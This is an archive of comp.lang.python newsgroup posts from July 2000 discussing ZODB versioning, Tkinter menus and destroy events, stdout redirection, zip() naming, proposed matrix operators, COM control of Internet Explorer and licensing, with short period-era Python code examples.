"Dirk-Ulrich Heise" <hei at adtranzsig.de> writes:
> Isn't this a very real problem? I mean, i could
> get around it using some export/import feature
> that saves to a certain file format i define.
> So i'd be writing save/load stuff myself again.
> So what do i gain using ZODB or pickle or whatever?

In ZODB versioning is handled by writing __getstate__/__setstate__
methods for your class that will convert old instances to the new
instance, by adding new attributes or whatever.  This means that if
you change classes a lot, your __getstate__ will slowly accrete more
complexity over time, but Jim Fulton argues that the burden isn't too
great.

Some OODBs automatically convert objects to the latest version when
the class is changed; this could probably be implemented on top of the
ZODB somehow, though there's currently no way to get all the instances
of a given class.  

--amk


From jerome.quelin at insalien.org  Sat Jul  1 03:48:12 2000
From: jerome.quelin at insalien.org (Jerome Quelin)
Date: Sat, 1 Jul 2000 09:48:12 +0200
Subject: Are tk derived objects ever destroyed?
References: <962360149.1278823422@news.libertysurf.fr> <5b875.1088$Tb2.20649@news6-win.server.ntlworld.com>
Message-ID: <962437692.935044161@news.libertysurf.fr>

"richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote:
>Unless you explicitly call destroy against your class it doesn't seem to
>call ___del__. You can get round it in the following manner:
>#!/usr/bin/python
>from Tkinter import *
>class Frm(Toplevel):
>    def __init__(self):
>        Toplevel.__init__(self)
>        Label(self, text='spam').pack()
>        self.bind('<Destroy>',self.kill)
>    def kill(self,event):
>        self.destroy()
>    def __del__(self):
>        print 'Kai kai kai'
>Button(text='create', command=Frm).pack()
>mainloop()

Well, when I look at this code, I feel like python will start an infinite loop.
But, ok I'll try this. Can you explain why this work this way, and why should
we trap the destroy event?

Regards,
Jerome
--
jerome.quelin at insalien.org



From jkraska1 at san.rr.com  Tue Jul 25 23:36:17 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Wed, 26 Jul 2000 03:36:17 GMT
Subject: "always passes by reference"
References: <LNBBLJKPBEHFEDALKOLCAEBEGMAA.tim_one@email.msn.com>
Message-ID: <397E5D52.AA7AB610@san.rr.com>

> way.  A semi-accepted term to describe what Python (and similar languages)
> do is "call by object".

I like "putting stuff on the argument line" better. :)-




C/


From boncelet at eecis.udel.edu  Wed Jul 19 13:21:55 2000
From: boncelet at eecis.udel.edu (Charles Boncelet)
Date: Wed, 19 Jul 2000 13:21:55 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators 
 for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
					<3973415D.5262CD86@eecis.udel.edu> <3hitu4wiq9.fsf@angband.org> <3975C0FA.3A45B105@eecis.udel.edu> <3975D208.2E297375@prescod.net>
Message-ID: <3975E3B3.E910A668@eecis.udel.edu>

Paul Prescod wrote:
> 
> Python 2 will likely have += and list comprehensions. Typechecking is
> scheduled for addition once the details are worked out.
> 
> If Python did not grow slowly and conservatively, I dare say that
> neither you nor I would be using it today. It would be just another
> overgrown language that caters to everyone's preferences.

I agree it should be selective about the features it adds.  But 
sometimes (no, *often*) I believe it is too selective and too slow 
to change. "+=", for instance, should have been added years ago.  
C had it in the 1970's; Perl had it in the 1980's. Python does 
not yet have it. Stodginess like this puts off a lot of programmers.

> 
> Your paragraph implies that Python would be more popular if it >attempted to adopt everything that is in popular languages. I think that that is 
> a simplistic view of language evolution.

Python would be more popular.  Witness Perl: it has adopted lots of 
ideas from its userbase and has grown immensely as a result. 

(IMHO, the main problem with Perl is not that it has adopted lots of
ideas, but that it didn't have a firm foundation to begin with. I.e.,
the core language is broken.  Python's core language is much stronger
and Python would be improved with some additions.)

-- 
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


From betz at bmi.net  Mon Jul 17 19:06:15 2000
From: betz at bmi.net (Joseph Betz)
Date: Mon, 17 Jul 2000 16:06:15 -0700
Subject: Routing sys.stdout.write (print)
Message-ID: <39739167.39ED5F38@bmi.net>

I'm getting unexpected results from the following code:

import sys
from sys import stdout
x = stdout

class Writer
  def write(self, string):
    x.write(': ' + string)
sys.stdout = Writer()
print "Ni!"
x.write('Ni!\n')

The output I'm getting is:

: Ni!:
Ni!

I am looking for a solution so that the second colon isn't in the
output.  A good solution
may be very different then the code I have here.
  Thanks,
      Joseph Betz


______________________________________________________________________
Posted Via Uncensored-News.Com - Still Only $9.95 - http://www.uncensored-news.com
 With Servers In California, Texas And Virginia - The Worlds Uncensored News Source
  


From jkraska1 at san.rr.com  Tue Jul  4 15:58:21 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Tue, 04 Jul 2000 19:58:21 GMT
Subject: Python to C++ in a pickle
References: <K5r85.38150$dF.1427872@news1.rdc1.il.home.com>
Message-ID: <396242AB.87D3795B@san.rr.com>

Larry Whitley wrote:
> 
> I'd like to pickle an object in python and unpickle it in C++.  The object
> in question is a python dictionary so it will have to go into a C++ map.
> Has someone done this and is willing to share?  Or, is the cPickle source
> available on the web somewhere?

To do this in a general way, you'll have to keep look-aside metadata
and make certain that the pickling mechanism complies with the
perceived types of information that are expected by your C++
client. I don't know anything about pickling, but I suspect it
doesn't do this.

Isn't cPickle source part of the python source distribution? I
think so....

C/


From paul at prescod.net  Wed Jul 19 10:25:38 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 09:25:38 -0500
Subject: CVS missing xmlparse.h
References: <yMet0XA6nYd5EwSD@jessikat.fsnet.co.uk>
Message-ID: <3975BA62.91AE3D0@prescod.net>

You need Expat.

http://www.jclark.com/xml/expat.html

Robin Becker wrote:
> 
> pyexpat.c(18) : fatal error C1083: Cannot open include file:
> 'xmlparse.h'
> --
> Robin Becker
> --
> http://www.python.org/mailman/listinfo/python-list

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From olivierS.dagenaisP at canadaA.comM  Wed Jul 19 10:20:09 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 19 Jul 2000 14:20:09 GMT
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <tOid5.135713$HK2.2425898@news20.bellglobal.com>

How about:

"twist", "merge", "smash", "glue", "dna", "ladder", "join", "match",
"collect", "pick", "lineup"???

Just some names....

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Michael Hudson" <mwh21 at cam.ac.uk> wrote in message
news:m3og3uprzw.fsf at atrus.jesus.cam.ac.uk...
> Robin Becker <robin at jessikat.fsnet.co.uk> writes:
>
> > I suppose there must be something desperately wrong with using the
> > __mul__ for sequences to indicate the set pairwise product. I would
> > certainly be for
> >
> > x,y in A*B rather than x,y in zip(A,B) or marry(A,B), but since * is the
> > obvious operator it must be that someone else has reserved it.
>
> Well, whatever "zip" ends up being called, it doesn't return the
> Cartesian product of the set of elements of the list, so using the
> product operator would be, at best, confusing!
>
> Wouldn't you expect
>
> >>> for i,j in [0,1]*[2,3]:
> ...     print i,j
> (0,2)
> (0,3)
> (1,2)
> (1,3)
>
> rather than
>
> >>> for i,j in zip([0,1],[2,3]):
> ...     print i,j
> (0,2)
> (1,3)
>
> ?
>
> Cheers,
> M.
>
> --
>   I also fondly recall Paris because that's where I learned to
>   debug Zetalisp while drunk.                          -- Olin Shivers




From kpmurphy at my-deja.com  Tue Jul 11 10:49:08 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Tue, 11 Jul 2000 14:49:08 GMT
Subject: tkinter menus
References: <8kcmeb$m5r$1@nnrp1.deja.com> <5vujmsg8hdf54luae6e2c0jivv93qheu9h@4ax.com> <8kd2tk$3l$1@nnrp1.deja.com> <vi7lms4dirkhhk7cr1kjfrjkgv5sp86e5d@4ax.com>
Message-ID: <8kfc4t$l9r$1@nnrp1.deja.com>

In article <vi7lms4dirkhhk7cr1kjfrjkgv5sp86e5d at 4ax.com>,
  mwr at hsl.tcp.co.uk wrote:
> On Mon, 10 Jul 2000 17:59:28 GMT, Keith Murphy <kpmurphy at my-deja.com>
> wrote:
>
> >In article <5vujmsg8hdf54luae6e2c0jivv93qheu9h at 4ax.com>,
> >  mwr at hsl.tcp.co.uk wrote:
> >> On Mon, 10 Jul 2000 14:26:40 GMT, Keith Murphy
<kpmurphy at my-deja.com>
> >> wrote:
> >>
> >> >menu, menu... anyone, anyone?
> >> >
> >> >	How do you configure top-level menu entries?  I'd like to put a
> >'help'
> >> >menu (and possibly others) on the right end of the menu bar.  I've
> >seen
> >> >examples where you make your own frame... but there has to be a
way
> >> >built in... doesn't there?  :)
> >> >
> >> In Tkinter, when you use the appropriate geometry manager to put
the
> >> button in the menu bar. E.g:
> >> helpButton = Menubutton(myMenuBar, ...)
> >> helpButton.Pack(side=RIGHT, ...)
> >>
> >> Or if you're using Pmw, then you can do something like:
> >> myMenuBar = Pmw.MenuBar(...)
> >> myMenuBar.addmenu(side=RIGHT,...)
> >>
> >> --
> >> Martin Rand
> >> Highfield Software Ltd
> >> mwr at highfield-software.co.uk
> >> Phone: +44 (0)23 8025 2445
> >> Fax:   +44 (0)23 8025 2445
> >>
> >
> >
> >well i am using a system menubar, not one i've created.  i'm using
> >fredrik lundh's 'an introduction to tkinter'
> >(http://www.pythonware.com/library/tkinter/introduction/index.htm) as
my
> >guide.  here is an example he uses:
> >
> ># File: menu-example-2.py
> >
> >from Tkinter import *
> >
> >root = Tk()
> >
> >def hello():
> >   print "hello!"
> >
> ># create a toplevel menu
> >menubar = Menu(root)
> >menubar.add_command(label="Hello!", command=hello)
> >menubar.add_command(label="Quit!", command=root.quit)
> >
> ># display the menu
> >root.config(menu=menubar)
> >
> >mainloop()
> >
> >
> >
> >...if you try and pack or anything, you will get the following
message:
> >TclError: can't pack ".1977984.1980464": it's a top-level window
> >
> >... any more help?  thanks :)
> >
> Well, you could go at it this way:
>
> ##########################
>
> from Tkinter import *
>
> def doExit():
>     pass  # Your code goes here...
>
> root = Tk()
> root.geometry("640x480") # Just to show packing works as expected
> menubar = Frame(root)
> menubar.pack(fill=X)
>
> # If you want to add a drop-down...
> hellobutton = Menubutton(menubar, text='Hello!')
> hellobutton.pack(side=LEFT)
> hellobutton.menu = Menu(hellobutton)
> # etc...
> goodbyebutton = Menubutton(menubar, text='Goodbye!')
> goodbyebutton.pack(side=LEFT)
> goodbyebutton.menu = Menu(goodbyebutton)
> # etc....
>
> # If you want to add an immediate action...
> quitbutton = Button(menubar, text='Quit', relief=FLAT, command =
> doExit)
> quitbutton.pack(side=RIGHT)
>
> root.mainloop()
>
> #############################
>
> But I must admit that it's to avoid this sort of grunt work that I go
> for Pmw wherever I can...
>

if you notice, there isn't any packing involved in my example.  i think
that's because it's not a part of the window's geometry, but is actually
built into the window itself. the best would be to be able to alter the
line to:

menubar.add_command(label="Quit!", side=RIGHT, command=root.quit)

(the new part is 'side=RIGHT')

is there a way to do something like this?  thanks gang,

-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From neelk at brick.cswv.com  Sun Jul 23 09:29:00 2000
From: neelk at brick.cswv.com (Neel Krishnaswami)
Date: 23 Jul 2000 13:29:00 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com> <397A919F.331C3933@prescod.net>
Message-ID: <slrn8nluk4.ahu.neelk@brick.cswv.com>

Paul Prescod <paul at prescod.net> wrote:
> Neel Krishnaswami wrote:
> > 
> > My proposal would be to replace it with encapsulated multimethods,
> > because that's the best way of solving the binary method problem in an
> > OO language. 
> 
> Neel, I think you have projected your own wishes onto that of the matrix
> people! 

It's entirely possible, because I am generalizing from my own
experience. I am drawing on the problems I ran into when I tried to
extend the Numeric package in a way that "looked matrix-y".

> They specifically *asked for new syntax*. They are perfectly happy
> with Python's semantics. They just think it doesn't look matrix-y
> enough. (which it doesn't)

The people who want to iterate over a file without slorping the whole
thing into memory also often ask for new syntax along the lines of:

  file = open("foo.txt")
  while x := file.readline():
     do_stuff(x)

I think it's reasonable to look at a request to try to figure out what
the underlying need is: "Hmm, they want to iterate over a file
lazily. Perhaps a method returning a lazy reader should be added to
FileObject, and the iteration protocol cleaned up to make this easier
to do?"


Neel


From MarkH at ActiveState.com  Sun Jul  2 20:37:27 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Mon, 03 Jul 2000 00:37:27 GMT
Subject: Internet Explorer and Python/COM
References: <Pine.GSO.4.10.10007022217420.19085-100000@sundial> <u$mxTiH5$GA.254@cpmsnbbsa07>
Message-ID: <bfR75.5878$Tb7.33735@news-server.bigpond.net.au>

"Roger Upole" <cb750chris at email.msn.com> wrote in message
news:u$mxTiH5$GA.254 at cpmsnbbsa07...

> Here's a small sample of how to navigate to a URL.
> >>> import win32com.client
> >>> x=win32com.client.Dispatch('InternetExplorer.Application.1')
> >>> x.Visible=1
> >>> x.Navigate('http://www.python.org')
> If you run makepy on Microsoft Internet Controls, the file generated in
> Python\win32com\genpy will show all the properties and methods
> available for this object.

This will work fine to control IE.

However, look in "win32com\client\__init__.py", and look for the
"DispatchWithEvents" docstring - this has an example that uses IE to both
control it, and respond to events (such as URL load completed, etc)

Mark.





From steffen.ries at sympatico.ca  Sat Jul 29 08:25:52 2000
From: steffen.ries at sympatico.ca (Steffen Ries)
Date: Sat, 29 Jul 2000 12:25:52 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <20000728192952.A32288@exeter.exeter.org> <slrn8o4aid.7dm.grey@teleute.rpglink.com>
Message-ID: <m3og3hjf79.fsf@gondolin.beleriand>

grey at despair.rpglink.com (Steve Lamb) writes:

> On Fri, 28 Jul 2000 19:29:52 -0400, Karl Ulbrich <kulbrich at yahoo.com> wrote:
> >If they already contained numbers (well, strings of digits), and you were
> >certain, then simply:
> 
> >	a = int(b)
> 
>     As stated, that would work except Python returns a None on a no-match and
> None can't be converted.

use:
     a = int(b or 0)
then.

/steffen
-- 
steffen.ries at sympatico.ca	<> Gravity is a myth -- the Earth sucks!


From JoeSmith at bogusaddress.com.bbs  Mon Jul 17 20:40:02 2000
From: JoeSmith at bogusaddress.com.bbs (JoeSmith at bogusaddress.com.bbs)
Date: 18 Jul 2000 00:40:02 GMT
Subject: NT4 shortcuts and import
Message-ID: <3bRV22$jTZ@openbazaar.net>

I really was disappointed that NT did not have symbolic links.  I find them very
usefull.  I hear that win 2000 has something called junction points that might
be similar.

Phil Harris wrote:

> You can't do that in NT.
>
> Shortcuts are not the same as links in *nix.
>
> Shortcuts are really, next to useless.
>
> Even most microsoft products don't know what to do with them, try using a
> shortcut to a folder in any standard ms product and it will fail in the same
> way.
>
> Phil
>
> Andy Freeman <anamax at earthlink.net> wrote in message
> news:8koe6q$avh$1 at nnrp1.deja.com...
> > I'd like to use a shortcut named, say, "src", from the current
> > directory to a directory somewhere else and then use "import src.foo".
> > The problem is that NT4 thinks that the shortcut is named "src"
> > but Python thinks that the shortcut is named "src.lnk".  Note that
> > I can't use "import src.lnk.foo" because the first "." is interpreted
> > as a directory name separator, not a part of the "src.lnk" module
> > name.
> >
> > (1) How do I get Python to use "src" as the module name?
> > (2) How do I escape "." in variable names?
> >
> > I'm using Python 1.5.
> >
> > thanks,
> > -andy
> >
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.


From aahz at netcom.com  Thu Jul 27 18:55:28 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 27 Jul 2000 22:55:28 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <8lq20g$kt1$1@nntp9.atl.mindspring.net> <slrn8o1e2q.e3.bmcd@ripley.sulaco.net>
Message-ID: <8lqel0$78o$1@nntp9.atl.mindspring.net>

In article <slrn8o1e2q.e3.bmcd at ripley.sulaco.net>,
Ben Caradoc-Davies <bmcd at es.co.nz> wrote:
>On 27 Jul 2000 19:19:44 GMT, Aahz Maruch <aahz at netcom.com> wrote:
>>In article <200007270038.TAA03951 at cj20424-a.reston1.va.home.com>,
>>Guido van Rossum  <guido at beopen.com> wrote:
>>>
>>>I've placed the slides of my talk at the O'Reilly Open Source
>>>Convention on-line at our BeOpen PythonLabs website:
>>>
>>>    http://www.pythonlabs.com/talks.html
>>
>>It appears that the HTML version requires JavaScript.  That's a Bad Idea.
>
><rant tone=incensed peeve=inaccessibility>

Guido sent me an e-mail response saying that unfortunately he only had
time to take Outlook's default output and stick it up on the Web.  Given
what he's going through currently, I'm inclined to cut him some slack --
but not Microsloth.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From g2 at seebelow.org  Mon Jul 31 14:38:27 2000
From: g2 at seebelow.org (Grant Griffin)
Date: Mon, 31 Jul 2000 19:38:27 +0100
Subject: Python license (was RE: Python plug-ins for Adobe Products available)
References: <LNBBLJKPBEHFEDALKOLCKEAHGNAA.tim_one@email.msn.com> <8m4eu7$1tj1@drn.newsguy.com> <3dr98agf05.fsf@kronos.cnri.reston.va.us>
Message-ID: <3985C7A3.19B7@seebelow.org>

Andrew Kuchling wrote:

<good stuff snipped>

> I don't think RMS cares about that; if everyone was using free
> software under a BSDish licence, that would be fine, but he considers
> the GPL more likely to encourage the creation of more free software.
> (And he's very probably right.)

I guess there's not much point in debating this, but just let me leave
you with a thought: when you think of the free/open software as a
"survival of the fittest" process, software licensed under a BSDish
license can survive and reproduce in a wider variety of environments
than GPL software.

(and-the-ability-to-survive-in-nearly-any-environment-is-why-you
   -humans-seem-to-be-taking-over-this-planet-<wink>)-ly y'rs,

=g2
-- 
_____________________________________________________________________

Grant R. Griffin                                       g2 at dspguru.com
Publisher of dspGuru                           http://www.dspguru.com
Iowegian International Corporation	      http://www.iowegian.com


From paul at prescod.net  Fri Jul 21 18:18:00 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 21 Jul 2000 17:18:00 -0500
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature> <m3vgy1nvfc.fsf@atrus.jesus.cam.ac.uk> <3977C029.2C1DC8AC@my.signature> <slrn8nhiiq.jr0.cjc26@synecdoche.sowrong.org>
Message-ID: <3978CC18.B33F253E@prescod.net>

Cliff Crawford wrote:
> 
>...
> 
> Maybe we could specify that zip() is lazy, like in Haskell, or else
> define another function called xzip() (parallel to xrange()) which is
> the lazy version of zip().

The PEP specifies that zip is lazy.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From aahz at netcom.com  Fri Jul  7 14:24:44 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 7 Jul 2000 18:24:44 GMT
Subject: Splitting c.l.py...
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de> <3dituj9cdi.fsf@kronos.cnri.reston.va.us> <39661DE1.A409330C@roguewave.com> <20000707140442.B4771@kronos.cnri.reston.va.us>
Message-ID: <8k579c$rts$1@slb3.atl.mindspring.net>

In article <20000707140442.B4771 at kronos.cnri.reston.va.us>,
Andrew Kuchling  <akuchlin at mems-exchange.org> wrote:
>
>Beats me.  Hmm... here's a possibility: what if python-dev was
>gatewayed to a moderated newsgroup comp.lang.python.core-devel?
>Messages posted to the group via Usenet would just be bounced back to
>the poster, so there's no moderator approving messages, and python-dev
>would continue to be invitation-only.  Essentially the newsgroup would
>be a read-only view of the python-dev mailing list.
>
>Would that be possible?  Is there a Usenet precedent for this sort of
>setup?

It's certainly possible.  I'm not sure whether there's precedent for
this specific setup.  I can probably say that there'd be a fair amount
of pushback from news.groupies, including me, unless you can clearly
articulate why such a newsgroup would be useful.

Note that it should be simple to set up public read-only subscriptions
to python-dev; if it isn't simple, that's a bug in Mailman.  ;-)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From m.faassen at vet.uu.nl  Mon Jul 31 06:57:34 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 10:57:34 GMT
Subject: [3rd Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de> <39852224.FE658DC5@nowonder.de>
Message-ID: <8m3m2u$due$1@newshost.accu.uu.nl>

Peter Schneider-Kamp <nowonder at nowonder.de> wrote:
[snip]
> as a member of the Python community which gathers around the newsgroup
> comp.lang.python I would like to express my concern about the latest
> license issues that have arisen around the new 1.6/2.0 releases.

Perhaps the 'as a member' is a bit confusing. Here you seem to speak
for yourself, while the next paragraph goes on to the attached
signatures. But it would seem that everybody signing wants to either
express the concern or not express any concern at all; not this dual
approach.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From shuz at bresnanlink.net  Wed Jul 12 19:28:55 2000
From: shuz at bresnanlink.net (Aaron Berg)
Date: Wed, 12 Jul 2000 18:28:55 -0500
Subject: Sound module question
References: <396BBA07.E844152@bresnanlink.net> <396BC08E.A3C036A4@pehr.net> <396C18D8.EC4CC59@bresnanlink.net> <396CF9BD.B8088DAF@home.com>
Message-ID: <396CFF37.95ABBB53@bresnanlink.net>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000712/071c9903/attachment.html>

From lull at acm.org  Thu Jul 20 03:48:04 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 02:48:04 -0500
Subject: Discussion: new operators for numerical computation
References: <LNBBLJKPBEHFEDALKOLCIENFGKAA.tim_one@email.msn.com> <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
Message-ID: <lu9dns4v56ijpiem2s9lnofdqvs4ctrtu5@4ax.com>

(posted & mailed)


Huaiyu Zhu <huaiyu_zhu at yahoo.com> wrote:

> 1. What symbols to use.
> 
>    It seems that we can more or less concentrate on using either . or @
>    together with existing math operators.  Issues:
> 
>    (1) Use . or @

Either, except as noted below.

':' is another conceivable alternative.

As an aside -- @ is one of only 3 printing ASCII characters completely
unused in Python (along with $ and ?).  It seems to me a good thing to
leave a few such characters around for later use (though Unicode may
eventually make this consideration irrelevant).

>    (2) Which is matrixwise or elementwise

Either.  Which has the largest user base, NumPy or MatPy?  Which has
the widest applicability?  I presume the authors of both would be
willing to adopt whatever notation becomes the standard.

>    (3) Compatibility: NumPy uses * for elementwise, MatPy uses * for
>        matrixwise.

Either.  The authors of both *ought* to converge on one notation,
though admittedly that may involve a bit of pain for those using one
package or the other during the transition.  Perhaps a minor name
change at the same time is appropriate so that both old- & new-style
packages could be installed, & not break any existing code.

>    (4) Similarity with Matlab (but not really compatibility).

If matrixwise is the default, then I'd prefer dot notation simply
because it will be familiar to Matlab users.  If elementwise is the
default, I'd prefer a notation clearly distinct from Matlab's to avoid
confusion.

Another alternative would be to put the modifier *after* the standard
operator -- *. or *@ -- would this have any advantage for either
default?  Perhaps we should be considering .* vs. *@ ?

> 2. Precedence, scope and other properties:

>    - They have exactly the same properties as their ordinary counterparts.

Perfect.

> 3. Their behavior on other objects:
> 
>    Even though they are supposed to be used for numerical objects only, what
>    if user writes [10,20].+[1,2]?
> 
>    - Exception: no __dotadd__ or __rdotadd__ defined

Eminently reasonable.

>    - Behave as eadd and give [11,22]

List behavior is clearly different than matrix/array behavior.
Whatever you do, for some operators, lists are not going to behave as
a matrix/array user would expect.  Allowing them to be treated as
though they were arrays/matrices is (IMO) likely to lead to more
stupid mistakes, & will force people to learn which operators behave
properly & which don't.

What should happen when the user writes [10, '20'].+[1,2]?

>    - Behave as current + and give [10,20,1,2]

This just seems wrong.  It's a clearly different operator, intended to
have different results.  I see no reason anyone would either expect or
want this behavior.

> 4. The magic words:
> 
>    This really depends on issue 3 above.  
> 
>    - If it is intended that these thing should never acquire a meaning
>      outside numerical computation, they should be called __mmul__,
>      __emul__, etc, because that would describe the intension well.
> 
>    - If other classes, like UserList, are allowed to use them, it's better
>      to use __dotmul__, __atmul__, etc, so the association with the symbols
>      are strong.

I agree with your analysis, & have no strong preference.  I think it
really boils down to whether there are other domains for which these
operators make sense graphically.

>    - Someone mentioned __altmul__ for @*, meaning alternative mul.

That was me.  Frankly, I prefer any of the *other* alternatives.

> 5. Other bits and pieces:
> 
>    - How to deal with left division?
> 
>     (1) Use sol(a,b)

This I don't like.

>     (2) use /@ or /.

So element-wise left division might be ./@ ?  Yuck.

>     (3) use %

This makes the most sense to me.

>    - How to deal with power?  It is already two characters
> 
>     (1) Use ** and .** or @**

Not a problem for me.

>     (2) Steal ^ with .^ or @^ (not much chance, just mentioning here)

I don't like having one operator get modified differently.  

>    - Do we want a copy operator := which is different from =?  It allows
>      efficient code.  The following code does not change A
>          B := A
>          B += C
>      This definitely will be usable for other classes. Call it __copy__?

I'm not convinced this is terribly useful.  We can already write B =
A.copy(), and I don't see how the function notation is any substantial
disadvantage here.  I could be persuaded otherwise.

If it's to go in, your proposal will have to address issues of deep
vs. shallow copy for *when* (not if) it gets used in other domains.

>    - Since augmented assignment almost certainly will get in the core, we
>      need to consider combining them.  A few possible opinions
> 
>      (1) Just use prefix . or @ to mean e or m, use suffix = to mean in
>          place assignment, and all are well defined.

This I like -- consistency with the existing operators.

I could also live with it not working for any of the new operators, if
there's a reasonable explanation for not doing so.  Of course, my
definition of reasonable is probably different from yours.... :)

>      (2) a .**= 3 looks too long.  Don't combine them.

If augmented assignment works for some of the new operators, it ought
to work for all.  No special cases means no one has to *learn* the
special cases.

>      (3) allow .+=, etc but ban .**=.

Just because .**= is a bit long?


Another issue:
Your proposal needs to clearly indicate that __r*__() methods should
be invoked A/R just as they are for the existing operators.


BTW, I would like to second your nomination as the person to champion
this proposal.

Regards,
John


From max at alcyone.com  Fri Jul 28 20:27:49 2000
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 28 Jul 2000 17:27:49 -0700
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com>
Message-ID: <39822505.73DA6F60@alcyone.com>

Steve Lamb wrote:

> If you have problems ask about 2
> dozen people off the street what 1 is with that question and see how
> many
> puzzled looks you get.

What possible relevance could this have to anything?  The average person
on the street isn't a programmer, probably isn't inclined to ever be a
programmer, and may well even be computer illiterate.  What their
impressions might be on the subject are totally irrelevant.

Strong typing exists for a reason, and Python is strongly typed.  Your
objections seem to ignore this fact.  Your objects are arbitrary, rather
inconsistent (as several people have pointed out througout this thread),
and don't make any sense for language with strong typing.  Python isn't
Perl, it's Python.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ One completely overcomes only what one assimilates.
\__/ Andre Gide
    Fat Boy and Little Man / http://www.fatboyandlittleman.com/
 Watch Fat Boy and Little Man go about their antics.


From peter at schneider-kamp.de  Thu Jul 20 14:36:31 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Thu, 20 Jul 2000 18:36:31 +0000
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <397681C6.FEAEE2E@my.signature> <ur6ens0t2evouijdsi70bsbb5p831meh4n@4ax.com>
Message-ID: <397746AE.3CCDD423@schneider-kamp.de>

Dennis Lee Bieber wrote:
> 
>         It's silly, but has anyone considered
> 
>         marry()
> 
> or
> 
>         partner()
> 
> as names for the function?

It's not that silly. An older proposal favored marry().

But imho marry() and partner() implicate the zipping
of two lists (even stronger than the zipper zip()).

OTOH somebody mentioned that it would be a great
political statement. Marriage of an arbitrary number
of arbitrary types (read: genders).

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From tim_one at email.msn.com  Fri Jul 28 02:04:37 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 28 Jul 2000 02:04:37 -0400
Subject: Perl is worse! (was: Python is Wierd!) 
